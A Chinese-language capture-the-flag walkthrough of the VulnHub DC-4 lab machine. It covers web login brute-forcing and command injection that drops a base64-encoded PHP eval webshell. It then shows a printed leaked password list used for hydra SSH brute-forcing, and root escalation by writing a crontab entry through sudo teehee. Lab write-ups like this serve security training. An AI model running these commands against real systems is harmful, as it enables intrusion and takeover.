渗透环境:DC4 https://www.vulnhub.com/entry/dc-32,312/
攻击机:192.168.168.128
靶机:ip地址未知, 已知ip与攻击机在同一网段下

信息收集

扫面存活主机

还是老规矩,nmap

1
nmap -sP 192.168.168.0/24

img

发现目标主机为192.168.168.131

扫描主机开放端口

1
nmap -A -p- 192.168.168.131

img

开放了80端口和22端口,浏览器打开

img

收集其他信息

用dirsearch看看目录情况

1
dirsearch -u http://192.168.168.130/ -e *

img

有个command.php,应该是远程命令执行了

渗透过程

显示用burp进行爆破

img

1
2
账号:admin
密码:happy

登录进去

img

确实是命令执行
抓包
修改上传参数
上一个base64木马上去

1
echo "PD9waHAgQGV2YWwoJF9QT1NUWydMMWFuZyddKTs/Pg== "|base64 -d > shell.php

上传成功

img

蚁剑连接

img

查看/home下有什么内容
在/home/jim/backups/old-passwords.bak下找到了旧密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1

用hydra进行爆破

1
hydra -l jim -P ./dc4.txt  ssh://192.168.168.131

img

1
2
账号:jim
密码:jibril04

用xshll或是kali连接到目标主机
看看身份

img

通过上传漏洞探测器,发现没有可用的提权漏洞
发现之前存在的一条信息

img

我有一条信息
去看看吧

img

这样就知道了charles的密码了

1
2
账号:charles
密码: ^xHhA&hvim0y

登录charles的号看看
看了charles可以用sudo了

img

提权

teehee是一个小的编辑器
这里我通过crontab提权

1
2
sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh //4777普通用户也能执行

img

分钟 小时 日期 月 周 用户 命令
ctrl+c退出

1
2
3
/bin/sh
whoami
cat /root/the-flag.txt

img